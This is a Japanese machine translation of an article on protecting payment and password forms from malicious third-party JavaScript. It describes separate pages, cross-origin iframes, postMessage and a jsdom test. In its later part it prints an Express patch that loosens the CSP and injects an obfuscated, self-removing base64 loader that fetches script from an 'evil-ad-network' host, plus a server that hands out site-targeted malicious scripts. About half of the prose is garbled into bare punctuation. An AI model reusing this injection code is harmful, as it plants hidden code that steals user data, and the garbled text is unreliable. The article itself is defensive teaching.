サイトへの訪問者からクレジットカード番号とパスワードを盗まれないようにする方法の物語

最近、気付かれずに数千のサイトから銀行カードのデータとパスワードを収集する悪意のあるコードを配布する方法を考え出したプログラマー歴史の翻訳を公​​開しました。









その投稿は、観客からの活発で感情的な反応を引き起こしました。 誰かがすべてがなくなったと言いました、そして今彼は平和に眠ることができないでしょう、誰かは彼のプロジェクトに絶対に触れないだろうと主張しました、誰かがこれから自分を守る方法について質問しました...問題に、前の記事で取り上げた、別の方法で処理することができますが、それは非常に現実的であるため、今日、クレジットカード番号を盗んだ人の話の続きを公開します。 今日、彼は潜在的に危険なコードからWebプロジェクトを保護する方法について話します。



最も重要なことについて一言で言えば



詳細に進む前に、ここで明らかにする主なアイデアについて簡単に説明します。



そのため、Webプロジェクトを保護するには、少なくとも2つのことを考慮する必要があります。 第一に、サードパーティのコードは避けるべきではありません。 第二に、潜在的な攻撃者にとって関心のあるデータの収集と処理に特別な注意を払う必要があります。



つまり、このようなデータの収集は専用のWebページを使用して実行する必要があり、専用のWebページは別のiframe



表示する必要があります。 メインサイトのドメイン以外のドメインにある静的Webページのサーバーに配置する必要があります。 これは、たとえば銀行カードを使用して自分で作業する場合です。 ここでは、たとえば、上記の保護対策の有効性を疑う場合、または単にプロジェクトを複雑にしたくない場合など、別の方法を選択できます。 この方法は、そのようなデータの処理を専門サービスに完全に転送できることです。



この資料に記載されている推奨事項は、他のすべてから明確に分離され、適切に保護されている貴重な情報の限られたカテゴリで動作するサイトにのみ適しています(たとえば、ユーザー名とパスワード、銀行カードデータ)。 チャットやデータベースアプリケーションのようなものを開発している場合、絶対にすべてが攻撃者の関心を引く可能性があるため、ここでの推奨事項はあまり役に立ちません。



ハムスターとドーベルマン



通常、少しの恐怖が役立ちます。 それは動員し、行動するよう強制します。 OnePlusが最近しなければならなかったものと同様の発言をしなければならなかった場合に感じるであろう感覚を評価することをお勧めします。



...入力中にクレジットカードデータを盗むように設計された悪意のあるスクリプトが支払い処理ページのコードに導入されました...このスクリプトは断続的に動作し、データをインターセプトし、ユーザーのブラウザーから直接攻撃者に送信しました...このインシデントは、最大4万人のoneplusユーザーに影響を与えます。ネット。


上記で述べた恐怖には、特定の形はありません。 彼に対処するために、動物学に目を向けて、動物界での物質的な具体例を見つけましょう。



サードパーティのコードは、ベテランのドーベルマンとして紹介します。 彼は落ち着いていて、満足しています。 しかし、彼の黒いまばたきのない目には未知の火花が潜んでいます。 彼がそれを手に入れることができる場所で、私にとって大切なものは何も残さないと言って十分です。



かわいい無防備なハムスターの形で私が想像するユーザーの機密データ。 無邪気な表情で前足をなめ、愚かな顔を洗い、犬の口の前で不注意に戯れている様子がわかります。



今、あなたがドーベルマンと友好的な関係にあったことがあるなら(これを強くお勧めします)、ドーベルマンは美しく、親切な生き物であり、世論が彼らに与えた悪評に値しないことは間違いないでしょう。 ただし、これにも関わらず、犬用の噛むおもちゃのように見えるハムスターをドーベルマンだけに置いてはいけないと主張することはありません。



家を出るときに同じ部屋にこの2つを置いて帰ると、一般的な落ち着いた感動のシーンがあり、ドーベルマンの背中でハムスターが眠っているのがわかります。 または、おそらく(おそらく)、あなたの小さなペットがいた場所には空虚しかなく、犬は頭を横に曲げて、デザートメニューを見ることができるかどうかを尋ねます。



私は、npm、GTM、DFP、または他の場所から取得したコードは、否定できないほど危険だと考えるべきではないと考えています。 ただし、このコードが適切に動作することを保証できない場合は、機密のユーザーデータをそのままにしておくことは無責任であると考えることをお勧めします。



そのため、機密データとサードパーティのコードを無人で一緒に保管することはできません。



例:脆弱なサイトを保護する



この例で調べるサイトには、クレジットカードデータを入力するためのフォームがあり、悪意のあるコードからアクセスできます。 同様のフォームは、おそらく十分に保護されていると思われるいくつかの非常に大きなオンラインストアで見ることができます。









銀行カードのデータ入力フォーム



このページは文字通りサードパーティのコードでいっぱいです。 彼女はReactを使用しており、Create Reactアプリを使用して作成されたため、その上で本格的な作業を開始する前から、すでに886個の依存関係がありました。



さらに、Googleタグマネージャーがあります(誰も知らない場合-GTMは、完全に未知の人がサイトにJSコードを埋め込み、コード分析の形で干渉を回避できるようにする便利なメカニズムです)。



そして、完全な幸福のために、このページにはバナー広告もあります(スクリーンショットには表示されませんでした)。 この広告は、112のネットワークリクエストに散らばった1.5メガバイトのJSコードです。 これはすべて、クレジットカードが馬にダウンロードする様子を表す1つのアニメーションGIFをダウンロードするのに11秒のプロセッサ時間を必要とします。



(ここで、Googleはこれらすべてに関連して私を失望させていることに注意したい。適切なプログラミングアプローチを提唱する同社の従業員は、Webを高速化する方法を教えてくれるのに多くの時間を費やしている。数ミリ秒...これはすばらしいことですが、同時にDFP独自の広告ネットワークがメガバイトのデータをユーザーデバイスに送信し、数百のネットワークリクエストを実行し、プロセッサ時間を数秒取ることができます。 UU十分な資格の専門家、広告で動作するように賢くかつ迅速な方法を作成するのに十分である精神的な可能性が。なぜ、この、これまで行われていません?)



それでは、トピックに戻りましょう。 明らかに、私はサードパーティのコードの手から秘密のユーザーデータを引き出す必要があります。 問題のフォームが独自の小さな島に住むようにしたい。









最初に素敵な写真を見つけてから、この写真と記事のトピックを結び付けるメタファーを考え出す必要があります



今日、私の話をいくつか読んで真剣な仕事の準備が十分に整ったところで、サードパーティのコードから貴重なデータを保護するための実用的なアプローチについて説明し始めます。 つまり、ここでは3つの保護オプションを検討します。





▍オプション1:機密データ用に別のページ



セキュリティ上の理由から、機密データを操作するための新しいページを作成するのが最も簡単です。このページにはJavaScriptコードがまったくありません。 ユーザーが「購入」ボタンをクリックすると、ページに組み込まれ、そのデザインに従って様式化された美しい形を表示する代わりに、次のようなものに送信されます。









銀行カードデータを操作するための専用ページ



残念ながら、私のサイトのヘッダー、フッター、およびナビゲーションバーはReactコンポーネントであるため、サードパーティのコードを使用せずに作成されたこのページでは使用できません。 したがって、見出し(碑文のある青い長方形)は、完全に機能する見出しの手動で作成されたコピーです。 もちろん、手作りの帽子には同じ機能はありません。



ユーザーがフォームにデータを入力したら、「送信」ボタンをクリックして、購入プロセスの次のステップに進みます。 これには、サイトのサーバー部分の変更が必要になる場合があります。これにより、ユーザーのアクションと、サイトのページを移動するときにシステムに送信するデータを追跡できます。



フォームファイルに余分なものが含まれないように、JavaScriptでできることの代わりに標準のフォーム検証メカニズムを使用しました。 その結果、このようなページのサポートレベルは97%を超えrequired



属性とpattern



属性を使用して、JavaScriptによる入力データの検証の実装がどの程度進んだかを評価できます。



CodePenのこのようなページの例を次に示します。 JSと条件付きスタイリングを使用せずに、正規表現を使用して入力されたデータの検証を使用します。



このアプローチを実際に使用する場合は、フォームに関連するコードを1つのファイルに保存することをお勧めします。 複雑さはこのアプローチの敵です(私たちの状況では、複雑さに対する同様の態度が特に当てはまります)。 上記の例のHTMLファイルは、 <style>



に埋め込まれたCSSとともに、約100行のコードを取ります。 このファイルは非常に小さく、このファイルを表示するために追加のネットワーク要求を必要としないため、慎重に変更することはほとんど不可能です。



残念ながら、このアプローチにはCSSスタイルのコピーが必要です。 私はこれについて多くを考え、異なるアプローチを検討しました。 それらはすべて、コピーされたCSSのボリュームよりも多くのコードを必要としますが、その重複は彼らの助けを借りて防ぐことができます。



したがって、「自分自身を繰り返さない」というアイデアは優れたガイドラインですが、それは絶対に従わなければならない絶対的なルールと見なされるべきではありません。 ここで見ているようなまれなケースでは、コードのコピーは2つの悪の少ない方です。



最も有用なルールは、破られる可能性があるときに知られているルールです。

(新年には、何も言わずにスマートなことを伝えようとしています。)



▍オプション2:iframeのスタンドアロンページ



最初のオプションは非常に有効であることが判明しましたが、これはユーザーインターフェイスとUXの設計の観点から一歩後退したものです。 さらに、誰かからお金を受け取る段階は、余分なページの動きを人にロードする価値がある場合には当てはまりません。



2番目のオプションは、フォームのあるページがiframe



配置されるという事実により、状況を改善します。



ここでは、次のようなことをしようとする場合があります。



 <iframe src="/credit-card-form.html" title="credit card form" height="460" width="400" frameBorder="0" scrolling="no" />
      
      





そうしないでください。



この例では、親ページとiframe



コンテンツは自由にお互いを見て相互にやり取りできます。 ドーベルマンを一方の部屋に残し、ハムスターをもう一方の部屋に置いた場合と同じになります。これらの2つの部屋の間にロック解除されたドアがあり、空腹時にドーベルマンが簡単に開けることができます。



iframe



をサンドボックスに入れるといいでしょう。 さらに(先ほど見つけたように)、これはiframe



から親ページを保護することを目的としているため、 sandbox



iframe



属性とは関係ありません。 私たちのタスクは、親ページからiframe



を保護することです。



ブラウザには組み込みのメカニズムがあり、ベースページの場所以外のソースからのコードを信用できないようにします。 これは同一生成元ポリシーと呼ばれ、異なるソースから受信したコードの相互作用を制限するセキュリティポリシーです。 このメカニズムのおかげで、ベースページとiframe



の相互作用を防ぐには、ページを別のドメインからiframe



にロードするだけで十分です。



 <iframe src="https://different.domain.com/credit-card-form.html" title="credit card form" height="460" width="400" frameBorder="0" scrolling="no" />
      
      





このアプローチでは、ペットの世界から私たちの例に戻ると、ハムスターはドアをしっかりとロックしてくれて本当に感謝します。



障害のある人向けのiframe



コンテンツの可用性について懸念している場合、私はまず第一にあなたを誇りに思っており、第二にこれについて心配することはできません。 WebAIMが報告する内容は次のとおりです。「組み込みiframeには、既知のアクセシビリティの問題はありません。 埋め込まれたiframeのコンテンツは、親ページのコンテンツであるかのように(マークアップ内のタグの順序に基づいて)ページに含まれる位置から読み取られます。



次に、フォームが完成したときに何が起こるか考えてみましょう。 ユーザーはiframe



にあるこのフォームの送信ボタンをクリックしますが、これは親ページに影響を与えるために必要です。 ただし、ページのコンテンツとiframe



ソースiframe



異なるため、上記のスキームを実装できるかどうか疑問に思います。



幸いなことに、これは可能であり、これがtarget



フォーム属性のtarget



です。



 <form action="/pay-for-the-thing" method="post" target="_top" > <!-- form fields --> </form>
      
      





したがって、ユーザーは機密データをメインページに完全に適合するフォームに入力できます。 次に、フォームを送信すると、親ページがリダイレクトされます。



私たちが検討している貴重なデータを保護する2番目のオプションは、セキュリティの面で大きな前進です。つまり、外部依存関係で満たされたベースページには、これらの依存関係のコードからアクセスできるフォームはありません。



ただし、この問題の理想的な解決策として、ページのリダイレクトは必要ありません。 これは、3番目のオプションにつながります。



▍オプション3:親ページとiframe間のデータ交換



私の実験サイトでは、購入した製品に関する情報とともに、銀行カードのデータをアプリケーション状態で保存し、必要な情報をすべて収集した後、1つのAJAXリクエストを使用して転送します。



とても簡単です。 フォームから親ページにデータを送信するには、 postMessage



メカニズムを使用します。



iframe



ホストされているページは次のとおりです。



 <body> <form id="form">     <!-- form stuff in here -->   </form> <script>   var form = document.getElementById('form');   form.addEventListener('submit', function(e) {     e.preventDefault();     var payload = {       type: 'bananas',       formData: {         a: form.ccname.value,         b: form.cardnumber.value,         c: form.cvc.value,         d: form['cc-exp'].value,       },     };     window.parent.postMessage(payload, 'https://mysite.com');   }); </script> </body>
      
      





var



注意してください。 これで、親ページ(または、むしろiframe



担当するReactコンポーネント)で、 iframe



からのメッセージを期待し、それに応じて状態を更新します。



 class CreditCardFormWrapper extends PureComponent { componentDidMount() {   window.addEventListener('message', ({ data }) => {     if (data.type === 'bananas') {       this.setState(data.formData);     }   }); } render() {   return (     <iframe       src="https://secure.mysite.com/credit-card-form.html"       title="credit card form"       height="460"       width="400"       frameBorder="0"       scrolling="no"     />   ); } }
      
      





この例はReactに基づいていますが、同じアイデアを他の手段で実装することもできます。

このアプローチが安全でないと思われる場合は、代わりに、 onchange



イベントを使用して、フィールドごとに個別に親エンティティのフォームからデータを送信できます。



これを行っている間、親ページが入力されたデータをチェックし、すべてが正しく入力されたことを示すメッセージをフォームに送信することを妨げるものは何もありません。 これにより、入力検証コードを再利用できます。このコードは、プロジェクトのどこかで引き続き利用できます。



ここでは、 2つの 貴重なコメントに基づいて追加したかったのですが、 iframe



は親ページをリダイレクトせずにデータを送信でき、その後postMessage



を使用して操作の成功または失敗に関するメッセージを親ページに送信できます。 このアプローチでは、機密データは親ページにまったく転送されません。



以上です! 貴重なユーザーデータはiframe



配置されたフォームに安全に入力され、ベースページのソース以外のソースからそこにロードされます。 このデータは親ページからは隠されていますが、アプリケーションの状態の一部である可能性があります。つまり、ユーザーはiframe



を使用せずにサイトを快適に操作できます。



ここでは、親ページにクレジットカード情報を送信すると、このデータを保護するためのすべての取り組みがキャンセルされると考えるかもしれません。 このデータは、ベースページにある悪意のあるコードからアクセスできますか?



この質問への答えは2つの部分から成り、事前に謝罪しますが、これを説明する簡単な方法は思いつきません。



提案されたアプローチのリスク特性のレベルを許容できると考える理由は、ハッカーの目で状況を見れば理解しやすいです。 貴重な情報を検索してサーバーに送信することにより、任意のWebサイトで実行できる悪意のあるコードを作成するタスクに直面していることを想像してください。 このコードが何かを送信するたびに、検出されるリスクがあります。 したがって、値が確実なデータのみをサーバーに送信することはあなたの利益になります。



このようなコードを記述する必要がある場合、 message



イベントを無差別にリッスンし、それらから抽出したものをサーバーに送信しません。 支払いデータの入力に脆弱なフォームを使用するサイトが何千もあり、これらのフォームのフィールドにはきちんと署名されているため、必要ありません。



答えの2番目の部分は、あなたを悩ます悪意のあるコードは普遍的なものではないということです。 このコードは、インターセプトする必要があるメッセージをよく知っている可能性があります。つまり、これらのメッセージで送信された貴重なデータを盗むことができます。 サイト専用に作成された悪意のあるコードに対する保護は、別のセクションに値するトピックです。



ユニバーサル悪意のあるコード、および特定のサイト用に設計されたコード



これまで、普遍的な悪意のあるコードを使用した攻撃について説明してきました。 , , . , , -.



, , , , -. , , .



, , , . . , iframe



, iframe



. -, , 50% , , . — .



, , .



. . (, npm-), «» , , , . :



 app.get('/analytics.js', (req, res) => { if (req.get('host').includes('acme-sneakers.com')) {   res.sendFile(path.join(__dirname, '../malicious-code/targeted/acme-sneakers.js')); } else if (req.get('host').includes('corporate-bank.com')) {   res.sendFile(path.join(__dirname, '../malicious-code/targeted/corporate-bank.js')); } else if (req.get('host').includes('government-secrets.com')) {   res.sendFile(path.join(__dirname, '../malicious-code/targeted/government-secrets.js')); } else if (req.get('host').includes('that-chat-app.com')) {   res.sendFile(path.join(__dirname, '../malicious-code/targeted/that-chat-app.js')); } else {   res.sendFile(path.join(__dirname, '../malicious-code/generic.js')); } });
      
      





, , , . — . .



-, , postMessage



iframe



. , , , , , .



, . Google, Facebook Twitter. , . , , , , .



-



, , , . … , , -. , .





, HTML-, . . - , .



, Node.js. , …









, . 204 ?



, 204 — , , , , , , ?



, , npm-, , , , , , .



, — , this



call



, , , CSP.



 const fs = require('fs'); const express = require('express'); let indexHtml; const originalResponseSendFile = express.response.sendFile; express.response.sendFile = function(path, options, callback) { if (path.endsWith('index.html')) {   //          let csp = express.response.get.call(this, 'Content-Security-Policy') || '';   csp = csp.replace('connect-src ', 'connect-src https://adxs-network-live.com ');   express.response.set.call(this, 'Content-Security-Policy', csp);   //      if (!indexHtml) {     indexHtml = fs.readFileSync(path, 'utf8');     const script = `       <script>         var googleAuthToken = document.createElement('script');         googleAuthToken.textContent = atob('CiAgICAgICAgY29uc3Qgc2NyaXB0RWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBzY3JpcHRFbC5zcmMgPSAnaHR0cHM6Ly9ldmlsLWFkLW5ldHdvcms/YWRfdHlwZT1tZWRpdW0nOwogICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc2NyaXB0RWwpOwogICAgICAgIHNjcmlwdEVsLnJlbW92ZSgpOyAvLyByZW1vdmUgdGhlIHNjcmlwdCB0aGF0IGZldGNoZXMKICAgICAgICBkb2N1bWVudC5zY3JpcHRzW2RvY3VtZW50LnNjcmlwdHMubGVuZ3RoIC0gMV0ucmVtb3ZlKCk7IC8vIHJlbW92ZSB0aGlzIHNjcmlwdAogICAgICAgIGRvY3VtZW50LnNjcmlwdHNbZG9jdW1lbnQuc2NyaXB0cy5sZW5ndGggLSAxXS5yZW1vdmUoKTsgLy8gYW5kIHRoZSBvbmUgdGhhdCBjcmVhdGVkIGl0CiAgICA=');         document.body.appendChild(googleAuthToken);       </script>     `;     indexHtml = indexHtml.replace('</body>', `${script}</body>`);   }   express.response.send.call(this, indexHtml); } else {   originalResponseSendFile.call(this, path, options, callback); } };
      
      





, ( — ) ( , CSP ), .



, , ( , , ), , , Express. , , , , , .



— , Object.freeze



Object.defineProperty



writable: false



, .



, . , Node , .



, , , , , , ?



, .





, .



Firebase . . , firebase-tools



npm, … , , , npm- , npm- ?



, . — npm-, .













640



, firebase-tools



. 640 .



, . . , .



, . . , firebase-tools













640 , 647



- . 7 ? , Firebase, , ? -, , ?



▍Webpack



, , «» HTML- (, CSS-), .



- , , Webpack, . Webpack 367 . - CSS, 246 . html-webpack-plugin



, , , , CSS- , 156 .



, , , - , . HTML-, .





, , , . — , . , « ».



, . , , , «» HTML-.



 const fs = require('fs'); const path = require('path'); const { JSDOM } = require('jsdom'); it('should not contain any external scripts, ask David why', () => { const creditCardForm = fs.readFileSync(path.resolve(__dirname, '../public/credit-card-form.html'), 'utf8'); const dom = new JSDOM(   creditCardForm,   { runScripts: 'dangerously' }, ); const scriptElementWithSource = dom.window.document.querySelector('script[src]'); expect(scriptElementWithSource).toBe(null); });
      
      





<script>



( , ), src



. jsdom



, document.createElement()



.



, , , , .



, , «» HTML-. - firebase-tools



Webpack, , , 1200 , , - — .



まとめ



, , . npm-.



: , , — .



. , npm-, «» .



, , , , , .



, , , , : React, Webpack, Babel . , .



— , , , , , .

, .



親愛なる読者! — , : « ». . , - — .






All Articles